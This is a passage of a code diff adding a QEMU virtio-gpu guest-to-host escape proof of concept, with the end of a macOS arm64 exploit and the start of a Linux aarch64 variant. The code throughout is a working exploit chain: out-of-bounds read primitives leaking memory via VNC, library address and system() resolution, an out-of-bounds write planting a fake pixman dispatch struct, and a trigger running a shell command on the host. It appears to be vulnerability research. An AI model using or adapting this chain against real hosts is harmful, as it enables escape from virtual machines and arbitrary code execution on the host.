vnc_send_update_request(uint16_t req_w, uint16_t req_h) +{ + uint8_t req[10]; + req[0] = 3; + req[1] = 0; + req[2] = 0; req[3] = 0; + req[4] = 0; req[5] = 0; + uint16_t w = htons(req_w); + uint16_t h = htons(req_h); + memcpy(req + 6, &w, 2); + memcpy(req + 8, &h, 2); + return send_full(vnc_fd, req, 10); +} + +static int vnc_recv_update(uint8_t *out, size_t out_len) +{ + for (;;) { + uint8_t msg_type; + if (recv_full(vnc_fd, &msg_type, 1)) return -1; + + if (msg_type == 0) { + uint8_t pad; + uint16_t num_rects; + if (recv_full(vnc_fd, &pad, 1)) return -1; + if (recv_full(vnc_fd, &num_rects, 2)) return -1; + num_rects = ntohs(num_rects); + + size_t total_read = 0; + for (int i = 0; i < num_rects; i++) { + uint16_t rx, ry, rw, rh; + int32_t encoding; + if (recv_full(vnc_fd, &rx, 2)) return -1; + if (recv_full(vnc_fd, &ry, 2)) return -1; + if (recv_full(vnc_fd, &rw, 2)) return -1; + if (recv_full(vnc_fd, &rh, 2)) return -1; + if (recv_full(vnc_fd, &encoding, 4)) return -1; + rw = ntohs(rw); + rh = ntohs(rh); + encoding = (int32_t)ntohl((uint32_t)encoding); + + size_t pixel_bytes = (size_t)rw * rh * 4; + if (encoding == 0) { + if (total_read + pixel_bytes <= out_len) { + if (recv_full(vnc_fd, out + total_read, pixel_bytes)) + return -1; + } else { + uint8_t drain[1024]; + size_t left = pixel_bytes; + size_t can_store = (total_read < out_len) ? + out_len - total_read : 0; + if (can_store > 0) { + if (recv_full(vnc_fd, out + total_read, can_store)) + return -1; + left -= can_store; + } + while (left > 0) { + size_t chunk = left < sizeof(drain) ? left : sizeof(drain); + if (recv_full(vnc_fd, drain, chunk)) return -1; + left -= chunk; + } + } + total_read += pixel_bytes; + } else if (encoding == -223 || encoding == -224) { + /* DesktopSize / LastRect pseudo-encoding — no pixel data */ + continue; + } else if (encoding == -239) { + /* Cursor pseudo-encoding — skip pixel + mask data */ + size_t cursor_data = (size_t)rw * rh * 4; + size_t mask_data = (size_t)((rw + 7) / 8) * rh; + uint8_t drain[1024]; + size_t left = cursor_data + mask_data; + while (left > 0) { + size_t chunk = left < sizeof(drain) ? left : sizeof(drain); + if (recv_full(vnc_fd, drain, chunk)) return -1; + left -= chunk; + } + } else { + /* Unknown pseudo-encoding — assume no data, skip */ + continue; + } + } + return 0; + } else if (msg_type == 3) { + uint8_t sct_hdr[7]; + if (recv_full(vnc_fd, sct_hdr, 7)) return -1; + uint32_t text_len; + memcpy(&text_len, sct_hdr + 3, 4); + text_len = ntohl(text_len); + uint8_t drain[256]; + while (text_len > 0) { + size_t chunk = text_len < sizeof(drain) ? text_len : sizeof(drain); + if (recv_full(vnc_fd, drain, chunk)) return -1; + text_len -= chunk; + } + } else { + printf(" [!] Unexpected VNC message type %d\n", msg_type); + return -1; + } + } +} + +static int vnc_read_framebuffer(uint8_t *out, size_t out_len, + uint16_t req_w, uint16_t req_h) +{ + if (vnc_send_update_request(req_w, req_h)) return -1; + return vnc_recv_update(out, out_len); +} + +/* ---------- OOB read primitives ---------- */ + +static int oob_read_count = 0; + +static int oob_read_ex(uint32_t res_id, uint64_t byte_offset, + uint16_t scan_w, uint16_t scan_h, + uint8_t *vnc_buf, size_t vnc_buf_len, + uint8_t *linear_out, size_t linear_len) +{ + uint32_t rx = (uint32_t)(byte_offset / 4); + oob_read_count++; + + /* + * Send VNC request BEFORE the flush to avoid a race: if we flush first, + * the VNC refresh timer may process the dirty flag before our request + * arrives, causing the server to have nothing to send. + */ + if (vnc_send_update_request(scan_w, scan_h)) + return -1; + if (cmd_set_scanout(res_id, rx, 0, scan_w, scan_h)) + return -1; + if (cmd_resource_flush(res_id, scan_w, scan_h)) + return -1; + + int rc = vnc_recv_update(vnc_buf, vnc_buf_len); + if (rc == 0 && linear_out && linear_len > 0) { + size_t row_bytes = (size_t)scan_w * 4; + size_t copy = linear_len < row_bytes ? linear_len : row_bytes; + memcpy(linear_out, vnc_buf, copy); + } + return rc; +} + +static uint8_t page_vnc_buf[PAGE_VNC_BYTES]; /* 256KB */ + +static int oob_page_read(uint32_t res_id, uint64_t byte_offset, + uint8_t *out, size_t out_len) +{ + return oob_read_ex(res_id, byte_offset, PAGE_SCAN_W, PAGE_SCAN_H, + page_vnc_buf, sizeof(page_vnc_buf), + out, out_len); +} + +static uint8_t read_vnc_buf[READ_VNC_BYTES]; + +static int oob_read(uint32_t res_id, uint64_t byte_offset, + uint8_t *linear_out, size_t linear_len) +{ + return oob_read_ex(res_id, byte_offset, READ_W, READ_H, + read_vnc_buf, sizeof(read_vnc_buf), + linear_out, linear_len); +} + +/* ---------- OOB write primitive ---------- */ + +static int oob_write_8(uint32_t res_id, uint64_t byte_offset, uint64_t value) +{ + if (byte_offset % 4 != 0) { + printf("[!] oob_write: offset not 4-byte aligned\n"); + return -1; + } + uint32_t rx = (uint32_t)(byte_offset / 4); + memcpy(data_region, &value, 8); + return cmd_transfer(res_id, rx, 0, 2, 1, 0); +} + +/* ---------- Main ---------- */ + +int main(int argc, char *argv[]) +{ + char pci_path[512]; + + printf("============================================\n"); + printf(" QEMU virtio-gpu guest-to-host exploit PoC\n"); + printf(" Target: QEMU <= 10.0.2 on macOS arm64\n"); + printf(" Attack: pixman dispatch hijack via OOB\n"); + printf("============================================\n\n"); + + if (find_virtio_gpu_pci(pci_path, sizeof(pci_path))) { + printf("[!] No virtio-gpu PCI device found\n"); + return 1; + } + printf("[+] Found virtio-gpu at %s\n", pci_path); + + if (unbind_existing_driver(pci_path)) + return 1; + + if (init_virtio_device(pci_path)) + return 1; + + /* ========== Phase 1: Create overflow resource + spray ========== */ + + printf("========================================\n"); + printf(" Phase 1: Create overflow resource\n"); + printf("========================================\n\n"); + + printf("[*] RESOURCE_CREATE_2D: %u x %u BGRA8888\n", + EXPLOIT_WIDTH, EXPLOIT_HEIGHT); + printf(" stride=4, hostmem=%u bytes (overflow from ~%lu GB)\n", + EXPLOIT_HEIGHT * 4, + (unsigned long)((uint64_t)EXPLOIT_HEIGHT * EXPLOIT_WIDTH * 4 + / (1024*1024*1024))); + + if (cmd_create_resource(RES_EXPLOIT, EXPLOIT_WIDTH, EXPLOIT_HEIGHT)) { + printf("[!] Resource creation failed\n"); + return 1; + } + if (cmd_attach_backing(RES_EXPLOIT)) { + printf("[!] Attach backing failed\n"); + return 1; + } + printf(" [+] Exploit resource %d created\n", RES_EXPLOIT); + + printf("[*] Spraying %d filler resources (safe OOB landing zone)...\n", + SPRAY_COUNT); + fflush(stdout); + int spray_ok = 0; + for (int sid = SPRAY_ID_START; sid < SPRAY_ID_START + SPRAY_COUNT; sid++) { + if (cmd_create_resource(sid, EXPLOIT_WIDTH, EXPLOIT_HEIGHT)) + break; + if (cmd_attach_backing(sid)) + break; + spray_ok++; + } + printf(" [+] %d fillers (%d KB mmap region)\n\n", + spray_ok, spray_ok * 16); + + /* ========== Phase 2: VNC info leak — find pixman ========== */ + + printf("========================================\n"); + printf(" Phase 2: Find pixman via OOB scan\n"); + printf("========================================\n\n"); + + printf("[*] Connecting to VNC at %s:%d...\n", VNC_HOST, VNC_PORT); + int retries = 0; + while (vnc_connect() != 0) { + if (++retries > 20) { + printf("[!] Cannot connect to VNC server\n"); + return 1; + } + printf(" Retrying (%d)...\n", retries); + if (vnc_fd >= 0) { close(vnc_fd); vnc_fd = -1; } + sleep(1); + } + printf(" [+] VNC connected\n\n"); + + /* Warmup: establish VNC framebuffer with small read dimensions */ + cmd_set_scanout(RES_EXPLOIT, 0, 0, READ_W, READ_H); + cmd_resource_flush(RES_EXPLOIT, READ_W, READ_H); + usleep(200000); + vnc_read_framebuffer(read_vnc_buf, sizeof(read_vnc_buf), READ_W, READ_H); + + /* + * Scan every page for Mach-O headers within the safe OOB range. + * Limit to SCAN_SAFE_PAGES to avoid hitting unmapped memory which + * hangs the QEMU VNC composite. + */ + uint64_t scan_limit = (uint64_t)SCAN_SAFE_PAGES * PAGE_SIZE; + uint64_t pixman_oob = 0; + int scan_fails = 0; + int machos_found = 0; + int scan_reads = 0; + uint64_t scan_step = (uint64_t)SCAN_STEP * PAGE_SIZE; + + printf("[*] Scanning %d pages (0x%lx bytes) for pixman Mach-O (sizeofcmds=0x%x)...\n", + SCAN_SAFE_PAGES, (unsigned long)scan_limit, PIXMAN_SIZEOFCMDS); + fflush(stdout); + + for (uint64_t off = PAGE_SIZE; off < scan_limit; off += scan_step) { + scan_reads++; + if (scan_reads % 20 == 0) { + printf(" (%d/%d pages scanned, %d Mach-Os)\n", + scan_reads, SCAN_SAFE_PAGES, machos_found); + fflush(stdout); + } + uint8_t hdr_buf[READ_LINEAR]; + if (oob_read(RES_EXPLOIT, off, hdr_buf, READ_LINEAR)) { + scan_fails++; + if (scan_fails >= 3) { + printf(" [!] 3 consecutive fails at 0x%lx, stopping scan\n", + (unsigned long)off); + fflush(stdout); + break; + } + close(vnc_fd); vnc_fd = -1; + usleep(300000); + if (vnc_connect() != 0) { + printf("[!] VNC reconnect failed\n"); + return 1; + } + continue; + } + scan_fails = 0; + + uint32_t magic; + memcpy(&magic, hdr_buf, 4); + if (magic != 0xFEEDFACF) continue; + + uint32_t sizeofcmds; + memcpy(&sizeofcmds, hdr_buf + 0x14, 4); + machos_found++; + printf(" [%d] Mach-O at +0x%lx sizeofcmds=0x%x%s\n", + machos_found, (unsigned long)off, sizeofcmds, + sizeofcmds == PIXMAN_SIZEOFCMDS ? " <- PIXMAN" : ""); + + if (sizeofcmds == PIXMAN_SIZEOFCMDS) { + pixman_oob = off; + goto found_pixman; + } + } + + printf("[!] pixman not found in 0x%lx byte scan range (%d reads, %d Mach-Os seen)\n", + (unsigned long)scan_limit, scan_reads, machos_found); + return 1; + +found_pixman: + printf("\n[*] pixman at OOB +0x%lx\n", (unsigned long)pixman_oob); + + /* --- Read pixman GOT → shared cache slide --- */ + + printf("[*] Reading pixman GOT[free] at +0x%lx...\n", + (unsigned long)(pixman_oob + PIXMAN_GOT_FREE)); + + uint8_t got_buf[8]; + if (oob_read(RES_EXPLOIT, pixman_oob + PIXMAN_GOT_FREE, got_buf, 8)) { + printf("[!] Failed to read pixman GOT\n"); + return 1; + } + uint64_t free_resolved; + memcpy(&free_resolved, got_buf, 8); + printf(" free() resolved = 0x%lx\n", (unsigned long)free_resolved); + + if (free_resolved < 0x100000000ULL || free_resolved > 0x300000000ULL) { + printf("[!] free() address 0x%lx looks invalid — wrong dylib?\n", + (unsigned long)free_resolved); + return 1; + } + + uint64_t sc_slide = free_resolved - FREE_UNSLID; + uint64_t system_addr = SYSTEM_UNSLID + sc_slide; + printf(" shared cache slide = 0x%lx\n", (unsigned long)sc_slide); + printf(" system() = 0x%lx\n", (unsigned long)system_addr); + + /* --- Read pixman rebase → pixbuf absolute address --- */ + + printf("[*] Reading pixman rebase[0] at +0x%lx...\n", + (unsigned long)(pixman_oob + PIXMAN_REBASE0)); + + uint8_t reb_buf[8]; + if (oob_read(RES_EXPLOIT, pixman_oob + PIXMAN_REBASE0, reb_buf, 8)) { + printf("[!] Failed to read pixman rebase\n"); + return 1; + } + uint64_t rebase_val; + memcpy(&rebase_val, reb_buf, 8); + printf(" rebase[0] = 0x%lx (target 0x%x)\n", + (unsigned long)rebase_val, PIXMAN_REBASE0_TGT); + + uint64_t pixman_base = rebase_val - PIXMAN_REBASE0_TGT; + uint64_t pixbuf_addr = pixman_base - pixman_oob; + uint64_t ret_gadget = pixman_base + PIXMAN_RET_GADGET; + + printf(" pixman base = 0x%lx\n", (unsigned long)pixman_base); + printf(" pixbuf addr = 0x%lx\n", (unsigned long)pixbuf_addr); + printf(" ret gadget = 0x%lx (_dummy_composite_rect)\n", + (unsigned long)ret_gadget); + + if (pixbuf_addr < 0x100000000ULL || pixbuf_addr > 0x800000000ULL) { + printf("[!] pixbuf address looks invalid\n"); + return 1; + } + + printf("\n[+] All addresses resolved\n\n"); + + /* ========== Phase 3: Write fake implementation struct ========== */ + + printf("========================================\n"); + printf(" Phase 3: Plant fake pixman struct\n"); + printf("========================================\n\n"); + + /* + * Fake pixman_implementation_t at pixbuf offset 0: + * + * 0x00 command string (15 chars + NUL = 16 bytes; see memcpy below) + * 0x08 NULL ← fallback (terminates chain) + * 0x10 &fast_paths ← points to offset 0x40 in this buffer + * 0x18 (zeros) + * 0x40 fast_path[0] ← wildcard entry matching all composites + * +00 op=0x40 PIXMAN_OP_any + * +04 src_fmt=0x50000 PIXMAN_any + * +08 src_flags=0 + * +0C mask_fmt=0x50000 + * +10 mask_flags=0 + * +14 dest_fmt=0x50000 + * +18 dest_flags=0 + * +1C (pad) + * +20 func=system() + * 0x68 fast_path[1] ← sentinel + * +00 op=0x3F PIXMAN_OP_NONE (end of list) + */ + uint8_t fake[112]; + memset(fake, 0, sizeof(fake)); + + /* 15 chars + NUL = 16 bytes (offsets 0x00..0x0F); fps_ptr at 0x10 stays intact. + * /bin/sh expands the glob to /System/Applications/Calculator.app at runtime. */ + memcpy(fake, "open /*/*/Calc*", 16); + + uint64_t fps_ptr = pixbuf_addr + 0x40; + memcpy(fake + 0x10, &fps_ptr, 8); + + uint32_t u32; + u32 = PIXMAN_OP_ANY_VAL; + memcpy(fake + 0x40, &u32, 4); + u32 = PIXMAN_FMT_ANY_VAL; + memcpy(fake + 0x44, &u32, 4); + memcpy(fake + 0x4C, &u32, 4); + memcpy(fake + 0x54, &u32, 4); + memcpy(fake + 0x60, &system_addr, 8); + u32 = PIXMAN_OP_NONE_VAL; + memcpy(fake + 0x68, &u32, 4); + + printf("[*] Fake struct (112 bytes):\n"); + printf(" cmd = \"open /*/*/Calc*\"\n"); + printf(" fps_ptr = 0x%lx\n", (unsigned long)fps_ptr); + printf(" func = 0x%lx (system)\n", (unsigned long)system_addr); + + printf("[*] Writing fake struct to pixbuf...\n"); + memcpy(data_region, fake, sizeof(fake)); + if (cmd_transfer(RES_EXPLOIT, 0, 0, 28, 1, 0)) { + printf("[!] Transfer failed\n"); + return 1; + } + printf(" [+] Fake implementation struct planted\n\n"); + + /* ========== Phase 4: OOB writes to pixman __DATA ========== */ + + printf("========================================\n"); + printf(" Phase 4: Hijack pixman dispatch\n"); + printf("========================================\n\n"); + + /* + * Step 1: Overwrite the TLS thunk for fast_path_cache with a ret gadget. + * This makes the cache lookup return &descriptor (all cache entries are + * effectively zeroed → guaranteed miss), forcing every composite to walk + * the implementation chain via _global_implementation. + */ + uint64_t tls_off = pixman_oob + PIXMAN_TLS_THUNK; + printf("[*] TLS thunk: OOB +0x%lx → ret gadget 0x%lx\n", + (unsigned long)tls_off, (unsigned long)ret_gadget); + if (oob_write_8(RES_EXPLOIT, tls_off, ret_gadget)) { + printf("[!] Failed to overwrite TLS thunk\n"); + return 1; + } + printf(" [+] TLS cache bypassed\n"); + + /* + * Step 2: Overwrite _global_implementation to point at our fake struct + * (which is at the start of the exploit pixbuf). Any composite lookup + * will now walk our fake fast_path table. + */ + uint64_t imp_off = pixman_oob + PIXMAN_GLOBAL_IMP; + printf("[*] _global_implementation: OOB +0x%lx → pixbuf 0x%lx\n", + (unsigned long)imp_off, (unsigned long)pixbuf_addr); + if (oob_write_8(RES_EXPLOIT, imp_off, pixbuf_addr)) { + printf("[!] Failed to overwrite _global_implementation\n"); + return 1; + } + printf(" [+] Dispatch redirected to fake struct\n\n"); + + /* ========== Phase 5: Trigger ========== */ + + printf("========================================\n"); + printf(" Phase 5: Trigger — pop calc\n"); + printf("========================================\n\n"); + + printf("[*] Triggering VNC framebuffer composite...\n"); + printf(" pixman_image_composite32()\n"); + printf(" → TLS cache miss (thunk = ret)\n"); + printf(" → _global_implementation → fake struct\n"); + printf(" → wildcard fast_path match\n"); + printf(" → system(\"open /*/*/Calc*\")\n"); + printf(" → /bin/sh expands glob → Calculator.app\n\n"); + + /* + * Force a VNC framebuffer update: set a small scanout, flush to mark + * the display dirty, then request a frame from VNC. The VNC server + * composites using pixman, which now dispatches through our fake + * implementation → system(cmd) → /bin/sh expands glob → Calculator.app opens. + */ + cmd_set_scanout(RES_EXPLOIT, 0, 0, 64, 64); + cmd_resource_flush(RES_EXPLOIT, 64, 64); + usleep(100000); + + uint8_t trigger_buf[64 * 64 * 4]; + vnc_read_framebuffer(trigger_buf, sizeof(trigger_buf), 64, 64); + + sleep(2); + + printf("========================================\n"); + printf(" Exploit complete.\n"); + printf(" Calculator.app should be open.\n"); + printf("========================================\n"); + + return 0; +} diff --git a/MADBugs/qemu/exploit_linux.c b/MADBugs/qemu/exploit_linux.c new file mode 100644 index 0000000..58867f4 --- /dev/null +++ b/MADBugs/qemu/exploit_linux.c @@ -0,0 +1,1585 @@ +/* + * exploit_linux.c — Guest-to-host code execution PoC for QEMU virtio-gpu + * calc_image_hostmem integer overflow — Linux aarch64 variant. + * + * Adapted from the macOS arm64 exploit. Key differences: + * - Dual-buffer info leak: brk-heap buffer (512B) reads pixman_image_t + * struct pointers; mmap-region buffer (256KB) reads library GOT + * - No TLS thunk overwrite needed: VNC pixel format change forces + * pixman fast_path_cache miss + * - ELF shared library layout instead of Mach-O + * - 4KB pages instead of 16KB + * + * Target: QEMU 8.1.0–10.2.3 on Linux aarch64 + * pixman 0.42.2, glibc 2.36 (Debian bookworm) + * + * Build (statically, for use in minimal guest): + * aarch64-linux-gnu-gcc -static -O2 -o exploit_linux exploit_linux.c + * # or: gcc -static -O2 -o exploit_linux exploit_linux.c + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* ---------- virtio-gpu protocol structures ---------- */ + +#define VIRTIO_GPU_CMD_GET_DISPLAY_INFO 0x0100 +#define VIRTIO_GPU_CMD_RESOURCE_CREATE_2D 0x0101 +#define VIRTIO_GPU_CMD_RESOURCE_UNREF 0x0102 +#define VIRTIO_GPU_CMD_SET_SCANOUT 0x0103 +#define VIRTIO_GPU_CMD_RESOURCE_FLUSH 0x0104 +#define VIRTIO_GPU_CMD_TRANSFER_TO_HOST_2D 0x0105 +#define VIRTIO_GPU_CMD_RESOURCE_ATTACH_BACKING 0x0106 + +#define VIRTIO_GPU_RESP_OK_NODATA 0x1100 +#define VIRTIO_GPU_RESP_OK_DISPLAY_INFO 0x1101 + +#define VIRTIO_GPU_FORMAT_B8G8R8A8_UNORM 1 +#define VIRTIO_GPU_FORMAT_B8G8R8X8_UNORM 2 + +struct virtio_gpu_ctrl_hdr { + uint32_t type; + uint32_t flags; + uint64_t fence_id; + uint32_t ctx_id; + uint8_t ring_idx; + uint8_t padding[3]; +} __attribute__((packed)); + +struct virtio_gpu_rect { + uint32_t x, y, width, height; +}; + +struct virtio_gpu_resource_create_2d { + struct virtio_gpu_ctrl_hdr hdr; + uint32_t resource_id; + uint32_t format; + uint32_t width; + uint32_t height; +}; + +struct virtio_gpu_resource_attach_backing { + struct virtio_gpu_ctrl_hdr hdr; + uint32_t resource_id; + uint32_t nr_entries; +}; + +struct virtio_gpu_mem_entry { + uint64_t addr; + uint32_t length; + uint32_t padding; +}; + +struct virtio_gpu_transfer_to_host_2d { + struct virtio_gpu_ctrl_hdr hdr; + struct virtio_gpu_rect r; + uint64_t offset; + uint32_t resource_id; + uint32_t padding; +}; + +struct virtio_gpu_set_scanout { + struct virtio_gpu_ctrl_hdr hdr; + struct virtio_gpu_rect r; + uint32_t scanout_id; + uint32_t resource_id; +}; + +struct virtio_gpu_resource_flush { + struct virtio_gpu_ctrl_hdr hdr; + struct virtio_gpu_rect r; + uint32_t resource_id; + uint32_t padding; +}; + +struct virtio_gpu_resource_unref { + struct virtio_gpu_ctrl_hdr hdr; + uint32_t resource_id; + uint32_t padding; +}; + +/* ---------- Virtio PCI transport ---------- */ + +#define VIRTIO_PCI_VENDOR_ID 0x1af4 +#define VIRTIO_GPU_DEVICE_ID 0x1050 + +#define VIRTIO_PCI_COMMON_DFSELECT 0x00 +#define VIRTIO_PCI_COMMON_DF 0x04 +#define VIRTIO_PCI_COMMON_GFSELECT 0x08 +#define VIRTIO_PCI_COMMON_GF 0x0c +#define VIRTIO_PCI_COMMON_MSIX 0x10 +#define VIRTIO_PCI_COMMON_NUMQ 0x12 +#define VIRTIO_PCI_COMMON_STATUS 0x14 +#define VIRTIO_PCI_COMMON_CFGGENERATION 0x15 +#define VIRTIO_PCI_COMMON_Q_SELECT 0x16 +#define VIRTIO_PCI_COMMON_Q_SIZE 0x18 +#define VIRTIO_PCI_COMMON_Q_MSIX 0x1a +#define VIRTIO_PCI_COMMON_Q_ENABLE 0x1c +#define VIRTIO_PCI_COMMON_Q_NOFF 0x1e +#define VIRTIO_PCI_COMMON_Q_DESCLO 0x20 +#define VIRTIO_PCI_COMMON_Q_DESCHI 0x24 +#define VIRTIO_PCI_COMMON_Q_AVAILLO 0x28 +#define VIRTIO_PCI_COMMON_Q_AVAILHI 0x2c +#define VIRTIO_PCI_COMMON_Q_USEDLO 0x30 +#define VIRTIO_PCI_COMMON_Q_USEDHI 0x34 + +#define VIRTIO_STATUS_ACKNOWLEDGE 1 +#define VIRTIO_STATUS_DRIVER 2 +#define VIRTIO_STATUS_DRIVER_OK 4 +#define VIRTIO_STATUS_FEATURES_OK 8 + +struct vring_desc { + uint64_t addr; + uint32_t len; + uint16_t flags; + uint16_t next; +} __attribute__((packed)); + +#define VRING_DESC_F_NEXT 1 +#define VRING_DESC_F_WRITE 2 + +struct vring_avail { + uint16_t flags; + uint16_t idx; + uint16_t ring[]; +} __attribute__((packed)); + +struct vring_used_elem { + uint32_t id; + uint32_t len; +} __attribute__((packed)); + +struct vring_used { + uint16_t flags; + uint16_t idx; + struct vring_used_elem ring[]; +} __attribute__((packed)); + +/* ---------- Exploit parameters ---------- */ + +#define EXPLOIT_WIDTH 0x40000001U + +/* + * Single exploit resource: height=65536 → hostmem=256KB → glibc mmap. + * On Linux aarch64 with top-down mmap, the 256KB buffer lands in the + * mmap region below the shared libraries. Scanning forward (to higher + * addresses) reaches pixman, libc, and other libraries. + */ +#define RES_EXPLOIT 42 +#define EXPLOIT_HEIGHT 65536U +#define EXPLOIT_BUF 262144U /* 65536 * 4 */ + +#define RES_TRIGGER 43 /* normal resource, different format */ + +#define SPRAY_COUNT 200 /* 200 × 256KB = 50MB forward fill */ +#define SPRAY_ID_START 100 + +/* VNC constants */ +#define VNC_HOST "10.0.2.2" +#define VNC_PORT 5900 + +/* Narrow scanout for targeted reads: 64×16 = 256 bytes linear */ +#define READ_W 64 +#define READ_H 16 +#define READ_VNC_BYTES (READ_W * READ_H * 4) +#define READ_LINEAR (READ_W * 4) /* 256 */ + +/* Scan step: 256KB for coarse scan (one spray resource) */ +#define COARSE_STEP 0x40000ULL /* 256KB */ +/* Fine scan step: 1 page */ +#define PAGE_SIZE_4K 0x1000ULL +/* Max forward scan range: 16MB */ +#define SCAN_RANGE 0x1000000ULL /* 16MB */ + +/* + * pixman 0.42.2 (libpixman-1.so.0.42.2, Debian bookworm aarch64) + * Offsets from ELF load base. + */ +#define PIXMAN_GOT_FREE 0xafed0ULL /* GOT[free] (RELRO, readable) */ +#define PIXMAN_INIT_ARRAY 0xa9670ULL /* .init_array (rebased ptrs) */ +#define PIXMAN_INIT_ARRAY_TGT 0x9e90ULL /* init_array[0] target vmaddr */ +#define PIXMAN_GLOBAL_IMP 0xb0030ULL /* _global_implementation (.bss) */ +#define PIXMAN_MAPPED_END 0xb1000ULL /* end of mapped region */ + +/* + * glibc 2.36 (libc.so.6, Debian bookworm aarch64) + * Offsets from ELF load base. + */ +#define LIBC_FREE_OFF 0x929c4ULL +#define LIBC_SYSTEM_OFF 0x49f00ULL + +/* pixman fast_path_t wildcard values (same across platforms) */ +#define PIXMAN_OP_ANY_VAL 0x40U +#define PIXMAN_OP_NONE_VAL 0x3FU +#define PIXMAN_FMT_ANY_VAL 0x50000U + +/* ---------- Raw virtio transport ---------- */ + +static volatile void *common_cfg; +static volatile void *notify_base; +static uint32_t notify_off_multiplier; +static uint16_t queue_notify_off; + +static void *vq_pages; +static struct vring_desc *descs; +static struct vring_avail *avail; +static struct vring_used *used; +static uint64_t desc_pa, avail_pa, used_pa; +static uint16_t vq_size; +static uint16_t avail_idx; +static uint16_t used_last; + +static void *cmd_region; +static uint64_t cmd_region_pa; +static void *resp_region; +static uint64_t resp_region_pa; +static void *data_region; +static uint64_t data_region_pa; + +static inline void write8(volatile void *addr, uint8_t val) { *(volatile uint8_t *)addr = val; } +static inline void write16(volatile void *addr, uint16_t val) { *(volatile uint16_t *)addr = val; } +static inline void write32(volatile void *addr, uint32_t val) { *(volatile uint32_t *)addr = val; } +static inline uint8_t read8(volatile void *addr) { return *(volatile uint8_t *)addr; } +static inline uint16_t read16(volatile void *addr) { return *(volatile uint16_t *)addr; } +static inline uint32_t read32(volatile void *addr) { return *(volatile uint32_t *)addr; } + +static void kick_queue(void) +{ + __sync_synchronize(); + write16(notify_base + queue_notify_off * notify_off_multiplier, 0); +} + +static int vq_send_cmd(void *cmd, uint32_t cmd_len, + void *resp, uint32_t resp_len) +{ + uint16_t idx = avail_idx; + + memcpy(cmd_region, cmd, cmd_len); + memset(resp_region, 0, resp_len); + + descs[0].addr = cmd_region_pa; + descs[0].len = cmd_len; + descs[0].flags = VRING_DESC_F_NEXT; + descs[0].next = 1; + + descs[1].addr = resp_region_pa; + descs[1].len = resp_len; + descs[1].flags = VRING_DESC_F_WRITE; + descs[1].next = 0; + + __sync_synchronize(); + avail->ring[idx % vq_size] = 0; + __sync_synchronize(); + avail->idx = idx + 1; + avail_idx = idx + 1; + + kick_queue(); + + int spins = 0; + while (used->idx == used_last) { + __sync_synchronize(); + if (++spins > 100000000) { + printf(" [!] Timeout waiting for response\n"); + return -1; + } + } + used_last = used->idx; + + memcpy(resp, (void *)resp_region, resp_len); + return 0; +} + +static int vq_send_cmd_data(void *cmd, uint32_t cmd_len, + void *extra, uint32_t extra_len, + void *resp, uint32_t resp_len) +{ + uint16_t idx = avail_idx; + + memcpy(cmd_region, cmd, cmd_len); + memcpy(data_region, extra, extra_len); + memset(resp_region, 0, resp_len); + + descs[0].addr = cmd_region_pa; + descs[0].len = cmd_len; + descs[0].flags = VRING_DESC_F_NEXT; + descs[0].next = 1; + + descs[1].addr = data_region_pa; + descs[1].len = extra_len; + descs[1].flags = VRING_DESC_F_NEXT; + descs[1].next = 2; + + descs[2].addr = resp_region_pa; + descs[2].len = resp_len; + descs[2].flags = VRING_DESC_F_WRITE; + descs[2].next = 0; + + __sync_synchronize(); + avail->ring[idx % vq_size] = 0; + __sync_synchronize(); + avail->idx = idx + 1; + avail_idx = idx + 1; + + kick_queue(); + + int spins = 0; + while (used->idx == used_last) { + __sync_synchronize(); + if (++spins > 100000000) { + printf(" [!] Timeout waiting for response\n"); + return -1; + } + } + used_last = used->idx; + + memcpy(resp, (void *)resp_region, resp_len); + return 0; +} + +static int find_virtio_gpu_pci(char *path, size_t pathlen) +{ + DIR *d = opendir("/sys/bus/pci/devices"); + struct dirent *ent; + char buf[256]; + int fd; + uint32_t vendor, device; + + if (!d) return -1; + + while ((ent = readdir(d)) != NULL) { + if (ent->d_name[0] == '.') continue; + + snprintf(buf, sizeof(buf), "/sys/bus/pci/devices/%s/vendor", ent->d_name); + fd = open(buf, O_RDONLY); + if (fd < 0) continue; + char vbuf[16] = {}; + read(fd, vbuf, sizeof(vbuf)-1); + close(fd); + vendor = strtoul(vbuf, NULL, 0); + + snprintf(buf, sizeof(buf), "/sys/bus/pci/devices/%s/device", ent->d_name); + fd = open(buf, O_RDONLY); + if (fd < 0) continue; + char dbuf[16] = {}; + read(fd, dbuf, sizeof(dbuf)-1); + close(fd); + device = strtoul(dbuf, NULL, 0); + + if (vendor == VIRTIO_PCI_VENDOR_ID && + (device == VIRTIO_GPU_DEVICE_ID || device == 0x1010)) { + snprintf(path, pathlen, "/sys/bus/pci/devices/%s", ent->d_name); + closedir(d); + return 0; + } + } + closedir(d); + return -1; +} + +static uint64_t virt_to_phys(void *vaddr) +{ + int fd = open("/proc/self/pagemap", O_RDONLY); + if (fd < 0) return 0; + + uint64_t vpn = (uint64_t)vaddr / 4096; + uint64_t entry; + if (pread(fd, &entry, 8, vpn * 8) != 8) { + close(fd); + return 0; + } + close(fd); + + if (!(entry & (1ULL << 63))) return 0; + uint64_t pfn = entry & ((1ULL << 55) - 1); + return pfn * 4096 + ((uint64_t)vaddr & 0xFFF); +} + +static void *map_bar(const char *pci_path, int bar_idx, size_t *out_size) +{ + char path[512]; + snprintf(path, sizeof(path), "%s/resource%d", pci_path, bar_idx); + + int fd = open(path, O_RDWR | O_SYNC); + if (fd < 0) { + printf(" Cannot open %s: %s\n", path, strerror(errno)); + return NULL; + } + + off_t size = lseek(fd, 0, SEEK_END); + if (size <= 0) { close(fd); return NULL; } + + void *map = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + close(fd); + if (map == MAP_FAILED) return NULL; + + if (out_size) *out_size = size; + return map; +} + +static int parse_virtio_caps(const char *pci_path) +{ + char path[512]; + snprintf(path, sizeof(path), "%s/config", pci_path); + + int fd = open(path, O_RDWR); + if (fd < 0) { + printf(" Cannot open PCI config: %s\n", strerror(errno)); + return -1; + } + + uint8_t cap_ptr; + pread(fd, &cap_ptr, 1, 0x34); + + int common_bar = -1, common_offset = 0; + int notify_bar = -1, notify_offset = 0; + + while (cap_ptr) { + uint8_t cap_id, cap_next; + pread(fd, &cap_id, 1, cap_ptr); + pread(fd, &cap_next, 1, cap_ptr + 1); + + if (cap_id == 0x09) { + uint8_t cfg_type, bar; + uint32_t offset, length; + pread(fd, &cfg_type, 1, cap_ptr + 3); + pread(fd, &bar, 1, cap_ptr + 4); + pread(fd, &offset, 4, cap_ptr + 8); + 